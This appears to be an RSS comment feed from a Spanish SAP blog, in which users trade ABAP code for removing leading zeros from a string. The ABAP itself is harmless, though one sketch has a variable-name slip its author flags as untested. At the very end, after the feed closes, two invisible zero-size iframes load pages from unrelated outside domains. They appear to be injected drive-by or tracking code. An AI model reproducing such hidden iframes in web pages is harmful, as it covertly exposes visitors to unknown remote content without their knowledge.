﻿<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comentarios en: ¿CONVERSION_EXIT_ALPHA_OUTPUT?</title>
	<atom:link href="http://blog.sap4.com/2007/01/10/%c2%bfconversion_exit_alpha_output/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.sap4.com/2007/01/10/%c2%bfconversion_exit_alpha_output/</link>
	<description>Weblogs de SAP en Castellano</description>
	<pubDate>Tue, 06 Jan 2009 04:57:51 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
		<item>
		<title>By: vlozano</title>
		<link>http://blog.sap4.com/2007/01/10/%c2%bfconversion_exit_alpha_output/#comment-20</link>
		<dc:creator>vlozano</dc:creator>
		<pubDate>Mon, 12 Feb 2007 10:47:52 +0000</pubDate>
		<guid isPermaLink="false">http://blog.sap4.com/2007/01/10/%c2%bfconversion_exit_alpha_output/#comment-20</guid>
		<description>estamos en el REPLACE... no estoy muy seguro de que esa sintaxis sea la mejor... primero pq es un método obsoleto (según la documentación de SAP en la 4.6), y segundo pq no tenemos control sobre las posiciones que reemplazará...

el texto+posición(posiciones) es una cabronada de leer, pero te aseguras que a no ser que los chicos de walldorf cambien todo el sistema de sub-cadenas, siga funcionando ad aeternum...

otra opción es utilizar el REPLACE SECTION para controlar las posiciones a reemplazar

échale un vistazo a la documentación y me cuentas (que no pienso hacer pruebas en horarios de trabajo, y en casa el ordenador está para jugar)</description>
		<content:encoded><![CDATA[<p>estamos en el REPLACE&#8230; no estoy muy seguro de que esa sintaxis sea la mejor&#8230; primero pq es un método obsoleto (según la documentación de SAP en la 4.6), y segundo pq no tenemos control sobre las posiciones que reemplazará&#8230;</p>
<p>el texto+posición(posiciones) es una cabronada de leer, pero te aseguras que a no ser que los chicos de walldorf cambien todo el sistema de sub-cadenas, siga funcionando ad aeternum&#8230;</p>
<p>otra opción es utilizar el REPLACE SECTION para controlar las posiciones a reemplazar</p>
<p>échale un vistazo a la documentación y me cuentas (que no pienso hacer pruebas en horarios de trabajo, y en casa el ordenador está para jugar)</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Blag</title>
		<link>http://blog.sap4.com/2007/01/10/%c2%bfconversion_exit_alpha_output/#comment-16</link>
		<dc:creator>Blag</dc:creator>
		<pubDate>Fri, 02 Feb 2007 12:42:44 +0000</pubDate>
		<guid isPermaLink="false">http://blog.sap4.com/2007/01/10/%c2%bfconversion_exit_alpha_output/#comment-16</guid>
		<description>Hola VLozano:

Tu idea es bastante bueno y un poco más corta que la mía -:) Le hice unos pequeños ajustes y aquí está....Gracias por la colaboración!!!

REPORT ZPRUEBA.

DATA: L_LEN TYPE I,
      LPOS TYPE SY-INDEX,
      CERO(1) TYPE C VALUE 0.
DATA: TEXTO TYPE STRING.

TEXTO = '00000E123450'.

L_LEN = STRLEN( TEXTO ).
DO L_LEN TIMES.
  LPOS = SY-INDEX - 1.
  IF TEXTO+LPOS(1) NE CERO.
    EXIT.
  ELSE.
    REPLACE '0' WITH SPACE
    INTO TEXTO.
  ENDIF.
ENDDO.
CONDENSE TEXTO.

WRITE:/ TEXTO.

Saludos,

Blag.</description>
		<content:encoded><![CDATA[<p>Hola VLozano:</p>
<p>Tu idea es bastante bueno y un poco más corta que la mía -:) Le hice unos pequeños ajustes y aquí está&#8230;.Gracias por la colaboración!!!</p>
<p>REPORT ZPRUEBA.</p>
<p>DATA: L_LEN TYPE I,<br />
      LPOS TYPE SY-INDEX,<br />
      CERO(1) TYPE C VALUE 0.<br />
DATA: TEXTO TYPE STRING.</p>
<p>TEXTO = &#8216;00000E123450&#8242;.</p>
<p>L_LEN = STRLEN( TEXTO ).<br />
DO L_LEN TIMES.<br />
  LPOS = SY-INDEX - 1.<br />
  IF TEXTO+LPOS(1) NE CERO.<br />
    EXIT.<br />
  ELSE.<br />
    REPLACE &#8216;0&#8242; WITH SPACE<br />
    INTO TEXTO.<br />
  ENDIF.<br />
ENDDO.<br />
CONDENSE TEXTO.</p>
<p>WRITE:/ TEXTO.</p>
<p>Saludos,</p>
<p>Blag.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: VLozano</title>
		<link>http://blog.sap4.com/2007/01/10/%c2%bfconversion_exit_alpha_output/#comment-15</link>
		<dc:creator>VLozano</dc:creator>
		<pubDate>Fri, 02 Feb 2007 10:13:39 +0000</pubDate>
		<guid isPermaLink="false">http://blog.sap4.com/2007/01/10/%c2%bfconversion_exit_alpha_output/#comment-15</guid>
		<description>No sería más sencillo algo del tipo:

*--- sin garantía de funcionamiento, un esbozo
DATA: l_len TYPE i,
      l_pos TYPE sy-index.

l_len = STRLEN( texto ).
DO l_len TIMES.
  l_pos = sy-index.
  IF texto+lpos(1) NE cero.
    EXIT.
  ELSE.
    texto+lpos(1) = space.
  ENDIF.
ENDDO.
CONDENSE texto.
* -----hasta aquí el código

El DO n TIMES ya controla que no nos salgamos del texto, y el IF inicial ya nos echa del bucle cuando la posición no es cero (podría incluirse el blanco por si acaso).
Estamos sustituyendo los ceros iniciales por espacios, y el CONDENSE los eliminará, dejando ese E1234 que buscamos.

¿O la estoy cagando en alguna parte?</description>
		<content:encoded><![CDATA[<p>No sería más sencillo algo del tipo:</p>
<p>*&#8212; sin garantía de funcionamiento, un esbozo<br />
DATA: l_len TYPE i,<br />
      l_pos TYPE sy-index.</p>
<p>l_len = STRLEN( texto ).<br />
DO l_len TIMES.<br />
  l_pos = sy-index.<br />
  IF texto+lpos(1) NE cero.<br />
    EXIT.<br />
  ELSE.<br />
    texto+lpos(1) = space.<br />
  ENDIF.<br />
ENDDO.<br />
CONDENSE texto.<br />
* &#8212;&#8211;hasta aquí el código</p>
<p>El DO n TIMES ya controla que no nos salgamos del texto, y el IF inicial ya nos echa del bucle cuando la posición no es cero (podría incluirse el blanco por si acaso).<br />
Estamos sustituyendo los ceros iniciales por espacios, y el CONDENSE los eliminará, dejando ese E1234 que buscamos.</p>
<p>¿O la estoy cagando en alguna parte?</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://edcomparison.com/mito/?t=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://qwehost.com/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
<!-- Dynamic Page Served (once) in 0.499 seconds -->
